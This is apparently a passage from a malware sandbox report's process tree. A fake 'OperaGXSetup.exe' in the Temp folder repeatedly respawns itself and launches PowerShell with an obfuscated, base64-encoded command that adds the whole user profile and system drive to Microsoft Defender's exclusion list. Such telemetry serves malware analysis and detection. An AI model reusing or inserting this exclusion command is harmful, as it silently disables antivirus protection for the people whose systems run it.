        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        202⤵
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        202⤵
        
        PID:6156
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        203⤵
        
        PID:8172
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        203⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        204⤵
        
        PID:7304
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        204⤵
        
        PID:6040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        205⤵
        
        PID:32
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        205⤵
        
        PID:1628
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        206⤵
        
        PID:7408
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        206⤵
        
        PID:7756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        207⤵
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        207⤵
        
        PID:7212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        208⤵
        
        PID:4292
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        208⤵
        
        PID:7132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        209⤵
        
        PID:3908
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        209⤵
        
        PID:4564
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        210⤵
        
        PID:2928
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        210⤵
        
        PID:6516
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        211⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        211⤵
        
        PID:3528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        212⤵
        
        PID:7464
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        212⤵
        
        PID:2192
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        213⤵
        
        PID:1944
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        213⤵
        
        PID:5996
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        214⤵
        
        PID:3600
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        214⤵
        
        PID:6408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        215⤵
        
        PID:4088
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        215⤵
        
        PID:7336
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        216⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        216⤵
        
        PID:7760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        217⤵
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        217⤵
        
        PID:7544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        218⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        218⤵
        
        PID:7604
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        219⤵
        
        PID:996
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        219⤵
        
        PID:1588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        220⤵
        
        PID:4948
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        220⤵
        
        PID:7056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        221⤵
        
        PID:2588
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        221⤵
        
        PID:5412
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        222⤵
        
        PID:8012
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        222⤵
        
        PID:1576
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        223⤵
        
        PID:7356
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        223⤵
        
        PID:7036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        224⤵
        
        PID:4372
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        224⤵
        
        PID:5236
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        225⤵
        
        PID:4048
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        225⤵
        
        PID:8116
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        226⤵
        
        PID:7112
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        226⤵
        
        PID:5036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        227⤵
        
        PID:5480
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        227⤵
        
        PID:1640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        228⤵
        
        PID:7972
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        228⤵
        
        PID:5972
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        229⤵
        
        PID:5236
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        229⤵
        
        PID:4272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        230⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        230⤵
        
        PID:7632
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        231⤵
        
        PID:432
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        231⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        232⤵
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        232⤵
        
        PID:4352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        233⤵
        
        PID:1656
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        233⤵
        
        PID:1640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
